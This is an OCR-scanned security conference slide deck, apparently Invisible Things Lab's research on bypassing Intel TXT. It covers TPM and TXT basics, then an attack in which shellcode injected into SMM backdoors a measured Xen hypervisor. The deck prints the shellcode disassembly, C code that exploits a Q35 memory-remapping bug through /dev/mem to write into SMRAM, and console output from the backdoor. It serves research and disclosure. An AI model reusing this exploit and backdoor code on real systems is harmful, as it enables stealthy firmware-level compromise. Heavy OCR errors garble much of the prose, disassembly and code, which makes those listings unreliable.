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Attacking TXT 



More on the Implementation Bugs 



More on the TXT design problem 
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Intel® Trusted Execution 
Technology (TXT) 



Trusted Computing 
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TPM 1.2 

>/ Passive I/O device (master-slave) 
>/ Special Registers: PCR[0...23] 
>/ Interesting Operations: 

— Seal/Unseal, 

— Quote (Remote Attestation) 

— some crypto services, e.g. PRNG, RSA 



PCR "extend" operation 



PCRn+i = SHA-I (PCRn + Value) 



A single PCR can be extended multiple times 

It is computationally infeasible to set PCR to a specified value 

(ext(A), ext(B)) =£ (ext(B), ext(A)) 



TPM: Seal/Unseal Operation 
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PCR 19 




secret (key) 



unsealing 



TPM seal/unseal example 



# echo 'Secret!!! 1 | tpm_sealdata -z -i/proc/self /fd/0 
-o. /mysecret.blob -pl7 -pl8 -pl9 



// assuming PCR' s are the same 
# tpm_unsealdata . /mysecret . blob 

Secret! ! ! 



// assuming PCR' s are different 
# tpm_unsealdata . /mysecret . blob 

error 24: Tspi_Data_Unseal : 0x00000018 
code=0018 (24), Wrong PCR value 



layer=tpm, 



TPM: Quote Operation (Remote Attestation) 
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[PCRI7,I8,I9] + 
signature (AIK) 



Both seal/unseal and quote operations can use any subset 

of PCR registers (e.g. PCR 1 7, 1 8, 1 9) 



BIOS ROM 



BIOS FLASH 



BOOT LOADER 



OS kernel 



PCI 

ROMs 
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PCR Usage (convention) 



BIOS ROM & FLASH 



I Chipset config 



> PCI ROMs 



t | PCI config 



bootloader 



> bootloader config 




8 e.g. OS kernel 



TPM 



Example #1 : Disk Encryption 



Disk encrypted with a key k, that is sealed into theTPM... 

Now, only if the correct software (VMM, OS) gets started it will 

get access to the key k and would be able to decrypt the disk! 
MS's Bitlocker works this way. 



But the key k must be present in the memory all the time... 

(the OS needs it to do disk on-the-fly decryption) 



Example #2: User's Picture Test :) 



During installation, a user takes a picture of themselves using a 

built-in in laptop camera... 
This picture is stored on disk, encrypted with key k P i C , which is 

sealed by theTPM... 
Now, on each reboot — only if the correct software got 

loaded, it will be able to retrieve the key k P j C and present a 

correct picture to the user. 
Important: after the use accepts the picture, the software should 

extend PCR's with some value (e.g. 0x0), to lock access to the 

key kpic 



Example #3: Remote Attestation 



Each computer needs to "authenticate" itself to the monitoring 

station using the TPM Quote command... 
If a computer is discovered in a corporate network that hasn't 

authenticated using TPM Quote with expected PCR registers, an 

cllcirm SnOUIG D6 TcLISCQ (e.g. this computer should be disconnected from the corporate network). 

Convenient for corporate scenarios with centralized monitoring 
server. 



COMPLETENESS — we need to measure every possible piece 
of code that might have been executed since the system boot! 



SCALABILITY of the above! 



Attempt to address the SRTM's weaknesses — 
lack of scalability and the need for completeness... 



A VMM we want to load 
(Currently unprotected) 



The VMM loaded and its 
hash stored in PCRI8 






SENTER 





VMM 

—.1 



00 



TPM 




secret key 



TPM will unseal 
secrets to the just- 
loaded VMM only if it 
is The Trusted VMM 



Notes: 



& Diagram is not in scale! 

SENTER also resets and extends PCRI7 with hash of SINIT/BIOSACM/(STM)/ LCP 



one of a few new instructions introduced by TXT 

(They are all called SMX extensions) 



TXT bottom line 

TXT late launch can transfer from unknown/untrusted/ 

unmeasured system... 
to a known/trusted/measured system 
Without reboot! 



The system state ("trustedness") can be verified (possibly 
remotely) because all important components (hypervisor, 
kernel) hashes get stored into theTPM by SENTER. 



RUB (I st stage) 



GRUB (2 nd stage) 



SENTER resets PCR18 and 

extends it with a hash of 

tboot's MLE 



oot (" I st stage' 



oot MLE 



xen.gz 



Notes: 



Diagram is not in scale! 

SENTER also resets and extends PCRI 7 with hash of SINIT/BIOSACM/(STM)/ LCP 



First we start "trusted" Xen (built by root( 
...and seal some secret to PCRI 7/18/19 



sF" root@fBq3! 

| [ root@f8q35 ^]# xm dmesq | qrep "Xen version" 

X EN) Xen version 3.2.2 (root@) ) (gcc version 4 
1.2-33)) Wed Oct 15 21:37:53 GEST 2008 
[root@f8q35 -]# 
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1.2 20070925 (Red Hat 4. 



s booted." ^tpmsealdata -z -i/proc/self /fd/0 -o/root/secret -p!7 -p!8 
-pl9 

[root@f8q35 ~]# 

[root@f8q35 •*] #ftpm_unsealdata /root/ secret ^ 
If you can see this message, the intact system has booted. 
[root@f8q35 -]# 

[root@f8q35 -]# hypercall_backdoor 

hypercall 38 return value: Oxf f f f f f f f f f f f f f da , "Function not implemente 
d" 

[root@f8q35 -]# xm dmesg | tail -2 

(XEN) *** Serial input -> DOM0 (type 'CTRL-a' three times to switch inp 
ut to Xen) 

(XEN) Freed lOOkB init memory. 
[root@f8q35 -]# | 



Now we boot "untr listed" Xen (compiled by hacker 



"Xen version" 



£■ root@fBq3! 

[root@f8q35 -]# xm dmesi " J " 



|^XE N) Xen version 3-2.2 (hackerBj ) (gcc version 4,1.2 20070925 
4.1.2-33)) Sat Dec 27 11:46:37 GET 2008 

[root@f8q35 -]# 

[root@f8q35 *•]# hypercall_backdoor 
hypercall 38 return value: 0, "Success" 
[root@f8q35 -]# xm dmesg | tail -2 
(XEN) Freed 104kB init memory. 
(XEN) Hypercall_backdoor : What is thy bidding, my master? 

[root@f8q35 ~]# 

[root@f8q35 -»]#(tpm unsealdata /root/secret ) 



error 24: Tspi_Data_Unseal: 0x00000018 - layer=tpm, code=0018 
[ng PCR value 



[root@f8q35 -]# 
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Thanks to tboot only when the trusted xen.gz was booted we can 

get the secret unsealed from theTPM! 



SENTER is not obligatory!!! 

TXT andTPM: cannot enforce anything on our hardware! We can always choose not to execute SENTER! 



Why would a user or an attacker be 
interested in executing the SENTER after all? 



It's all about TPM PCRs and secrets sealed inTPM! — see previous 

SRTM examples — it's all the same with DRTM 

(alternatively: about Remote Attestation) 



AMD Presidio 



AMD's technology similar to Intel's TXT, part of AMD-V 
A special new instruction SKI NIT (Mar to inters senter) 
We haven't looked at Presidio thoroughly yet. 



SRTM/DRTM 
(launch-time protection) 



e.g. buffer overflow 
(no runtime protection!) 
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Theoretically runtime-protection should be implemented 
effectively using the VT-x/ VT-d technologies... 



In practice: see our"Xen Owning Trilogy' 

(BH USA 2008) ;) 



TXT: exciting new technology with great potential! 

(Eg. whenever a user boots their machine he or she knows it is secure!) 











Attacking TXT 



Q : What is more privileged than a kernel code? 
A : Hypervisor ("Ring - 1 ") 



Q : What is more privileged than a hypervisor? 
A: System Management Mode (SMM) 



Introducing "Ring -2 



SMM can access the whole system memory (including the 
kernel and hypervisor memory!!!) 

SMM Interrupt, SMI, can preempt the hypervisor (at least 
on Intel VT-x) 

SMM can access the I/O devices (IN/OUT, MMIO) 



Q : Is this SMM some new thing? 
A: Nope, it's there since 80386... 



Q : Does TXT measure currently used SMM? 

A: No, TXT doesn't measure currently loaded SMM 



Q : Does TXT reload SMM on SENTER execution? 
A: No,SENTER doesn't reload SMM... 



(SENTER does not touch currently running SMM at all!) 



Q : So, how does the SENTER deal with a malicious SMM? 
A : Well . . . it currently does not\ 



TXT attack sketch (using tboot+Xen as example) 




GRUB (2 nd stage) 



Attacker patches the 
ootloader (e.g. GRUB). The 
patched code injects a 
shellcode to SMM 



tboot.gz 
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After xen.gz gets sucesfully 

loaded, the evil code from 

5MRAM can easily infect it. 



Notes: 



Diagram is not in scale! 

SENTER also resets and extends PCRI 7 with hash of SINIT/BIOSACM/(STM)/ LCP 



jf rootef8q35:/mnt/other/root/grub/grub 0.97/giub 0.97 with_smm_infector |_J|nJ|Xj 

[root@f8q35 grub-0 . 97-with_smm_infector] # objdump -D -b binary -m 1386: 
x86-64 siran_in j ected_code | grep -v A $ 
smm_injected_code: file format binary 
Disassembly of section .data: 
0000000000000000 <.data>: 

0: 48 83 c4 28 add $0x28, Brsp 

4 : 5f pop Brdi 

5 : 5b pop ftrbx 

6: 50 push Brax 

7: 48 8c d8 mov ftds.Brax 



11: 
12: 
19: 
lc: 
23: 
26: 
27: 
28: 
2b: 
2c: 



48 31 cO 
48 8e d8 

48 bb 00 00 00 03 00 
00 00 00 

48 c7 cO eO 61 lb 7d 
48 89 18 



add 


§0x28, Brsp 


pop 


ftrdi 


pop 


fcrbx 


push 


ftrax 


mov 


8ds .firax 


push 


ftrax 


xor 


Brax,8ra:c 


mov 


Brax-ftjd^^. 



Address of the shellcode (in 
the guest address space) 



48 8e d8 



ush 



mov 



mov 



mov 



pop 
pop 

mov 
pop 

retq 



$0x3000000, ftrbx 






$0x7dlb61e0,8rax 



ftrbx 
%rax 
8rax,8di 
ftrax 



Address of an unused entry in 

the hypercall table 



[root@f8q35 grub-0 , 97-with_smm_infector] # | 



J? root @f Bq 3 5 : /m nt/ot he r/root/gr u b/gr u b -0 . 9 7/gr u b -0 . 9 7 -wit h_smm_i nf ecto r 



CTHW 



[root@f8q35 grub-0 . 97-with_smm_infector] # objdump -d smm_injected_code 
v2.o 



smm injected code v2.o: 



file format elf64-x86-64 



Disassembly of section .text: 

0000000000000000 <.text>: 

1 0: 50 



48 c7 cO eO 61 lb 7d 
48 c7 00 00 00 00 03 
58 

I 10: c3 



push Brax 



mov $0x7dlb61e0,ftrax 



movq $0x3000000 , (Brax) 
pop Brax 

retq 



[root@f8q35 grub-0 . 97-with_smm_infector] # | 



"Xen version" 



£• root@fBq3! 

[root@f8Q35 -]# xm dmesi " " " 



|((XE N) Xen version 3 .2 .2 (root@) j gcc version 4.1.2 20070925 
1.2-33)) Wed Oct 15 21:37:53 GEST 2008 

[root@f8q35 -]# 

[root@f8q35 *-]# hypercall_backdoor 
hypercall 38 return value: 0, "Success" 

[root@f8q35 ^]# xm dmesg | tail -2 

(XEN) Freed lOOkB init memory. 



(XEN)T Hypercall_backdoor : What is thy bidding, my master? J 



turn unsealdata /root/secret 



[If you can see this message, the intact system has booted. 



[root@f8q35 -]# 
[root@f8q35 -]# | 



(Red Hat 4. 



Stay tuned! 
SMM exploiting to be presented in the next chapter... 
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More on the Implementation Bugs 



So how we can get into SMM memory (SMRAM)? 



D 2006: Loic Duflot 

(not an attack against SMM, SMM unprotected < 2006) 

D 2008: Sherri Sparks, Shawn Embleton 

(SMM rooktis, but not attacks on SMM!) 
2008: Invisible Things Lab (Memory Remapping bug in Q35 BIOS) 

2009: Invisible Things Lab (cert vu# i 27284,tba) 



(checked box means new SMM attack presented; unchecked means no attack on SMM presented) 



No SMM bugs 
known... 



..cannot read 
SMM memory 
(TSEG)... 



...cannot look for 
bugs in TSEG! 



Oopsss....A vicious circle! 



»-t V ^ ^ | ^ p£ EE) ri Ul i 




5F, 





C3l5 

C3ie 



-* 



II 





iceao 




I 





, 


1 


""2 


* 


»> f-; 








- 




I 



I- , 



MeetAtmel26DF32l SPI-flash 




De-soldered SPI-flash chip 






The BIOS image on the SPI-flash is heavily packed! 

(inconvenient form for SMM auditing) 



Remember our Q35 bug from Vegas? 

(We couldn't actually present it during the conference as there was no patch then, but we published the slides a 

few weeks afterwards) 



Memory Remapping on Q35 chipset 



TOUUD 



5GB 



REMAPLIMIT 



REMAPBASE 
4GB 



TOLUD 



This DRAM now accessible from 
CPU at physical addresses: 

<REMAPBASE, REMAPLIMIT> 
Otherwise would be wasted! 



Processor's View 



DRAM 



#define TSEG_BASE 0x7e500000 

u64 targe t_phys_area = TSEG_BASE & -(0x10000-1); 
u64 target_j>hys_area_off = TSEG_BASE & (0x10000-1) ; 
new remap base = 0x40; 



ne w_r emap_l imi t = 0x60; 

reclaim_base = (u64)new_remap_base « 26; 

reel aim_l imi t = ( (u64) new_remap_limit « 26) + 0x3ffffff; 
reclaim_sz = reclaim_limit - reclaim_base ; 
reclaim_mapped_to = Oxffffffff - reclaim_sz; 
reclaim_off = targe t_j?hys_area - reclaim_mapped_to ; 

pci write word (dev, TOUUD OFFSET, (new remap limit+l)«6) ; 



pci write word (dev, REMAP BASE OFFSET, new remap base) ; 



pci write word (dev, REMAP LIMIT OFFSET, new remap limit) ; 



fdmem = open ("/dev/mem", 0_RDWR) ; 

memmap = mmap (. . . , fdmem, reclaim_base + reclaim_off) ; 

for (i = 0; i < sizeof ( jmp_rdi_code) ; i++) 

*( (unsigned char*) memmap + target_j?hys_area_of f + i) = 
jmp rdi code[i]; 



munmap (memmap, BUF_SIZE) ; 
close (fdmem) ; 



£■ rootefBq35x33:-/q35fun-sl 

[root@f 8q35x33 q35fun-show] # . /q35fun2 tsegdump.bin 
VID = 8086, DID = 29b0 

smram = Oxla (D_OPEN=0 , D_CLS=0, D_LGK=1 , G_SMRAME=1 , C_BASE 
esmramc = 0x 39 (H_SMRAME =0 , E_SMERR=0, TSEG_SZ=00, T_EN=1) 
tsegmb = (0x7e500000) 
tolud = 0x7f 000000 (0x7f 00) ) 
torn = 0x100000000 (0x20) 
touud = 0x7f 000000 (0x7f 0) ) 



new base: 
new limit: 
reclaim sz: 
mapped to: 
target area 
target off: 
rclaim off: 



0x100000000 

0xl83ffffff 

0x83ffffff 

0x7c000000 



0x7e500000 ] 
0x2500000 



setting touud. . . 

touud = 0x184000000 (0x1840)) 

setting remap_base = 0x40, remap_limit = 0x60 

mmaping /dev/mem and reading the buffer. . . 

code at offset 0: 4d 5a 00 00 00 00 00 00 

restoring remap_base = 0x3ff , remap_limit = 

restoring touud = 0x7f 

[root@f8q35x33 q35fun-show] # | 



We see we can access SMM memory using this Q35 bug :) 



Intel patched the bug in August 2008 

(This was done by patching the BIOS code to properly lock the memory configuration registers) 



December 2008: 



We think TXT is essentially useless without 
protection against SMM-originating 

attacks... 



That's an exaggerated statement - we still 
believe infecting an SMM is hard... 



BTW, we just found a bunch of new SMM 
bugs for Intel BlOSes + 2 working 

exploits ;) 



The dialogs between ITL and Intel presented here have been modified for brevity and for better dramatic effect. 



We have provided Intel with the details of the new SMM issues 
affecting their recent BlOSes on December 1 th , 2008. 



Intel confirmed the problems in their BlOSes as affecting: 
'mobile, desktop, and server motherboards", without providing any more 

details about which exact models are vulnerable. 



We suspect it might affect all recent Intel motherboards/BIOSes. 



Intel believes the issues might affect other vendors as well. 



Intel contacted CERT CC informing them about the problem... 



CERT has assigned the following tracking # to this issue: 

VU# 1 27284 



We plan to discuss the details of the bugs at BH USA 2009 in Vegas... 



Stay tuned! 
(and don't trust your SMM in the meantime) 










More on the TXT Design Problem 



Solution to the TXT attack is called: STM 



Can we take a look at this STM? 



STM is currently not available. 



? 



It is simple to write. There was just no 

market demand yet. 
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The dialogs between ITL and Intel presented here have been modified for brevity and for better dramatic effect. 



SMM Transfer Monitor (STM) 



SSI 





Potential issues with STM 



STM seems to be non-trivial to write! 

— CPU, memory and I/O virtualization for the SMM need to be implemented! 

0VMM-to-STM protocol asks for a standard 
No STM in existence as of yet... 



also... 



Who should write an STM? 



OEMs/BIOS vendors! 



Hmm... Isn't Intel a BIOS vendor itself? 



The dialogs between ITL and Intel presented here have been modified for brevity and for better dramatic effect. 



Why should we trust BIOS vendors to 

write bug-free STMs, if we don't trust they 

will write bug-free SMMs? 



SMM must be "tuned" to each new 
motherboard. STM could be written in a 
generic way — no need to change STM 

after it gets mature. 



Fair point. 



The dialogs between ITL and Intel presented here have been modified for brevity and for better dramatic effect. 



Intel told us they do have STM specification that answers some of 
our concerns (e.g. that STM is difficult to write), and the spec is 

available under NDA. 



Intel offered us a chance to read the STM spec... 

...but required signing an NDA. 



We refused. 



Intel might be right claiming that STM is the remedy for our attack. 



There are some other issues with STM however. . . 
e.g. how the STM will integrate with the SENTER measurement 

process? 



We cannot make our mind on this until we see a working STM. 

• • • 

Stay tuned! And cross your fingers! 



If you are interested in sponsoring this research further, do not 

hesitate to contact us! 



Still, allowing TXT to work without an STM was, in our opinion, a 

design error. 
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Summary 



Intel TXT is a new exciting technology! It really is! 
Intel "forgot" about one small detail: SMM... 

We found and demonstrated breaking into SMM, 

this allowed us to also bypass TXT. 

Bonus: SMM rootkits now possible on modern systems! 



Intel currently is patching the SMM bugs (BIOS), 

We hope our presentation will stimulate Intel and OEMs to 

create and distribute STMs — a solution to our attacks 

against TXT. 



http://invisiblethingslab.com 
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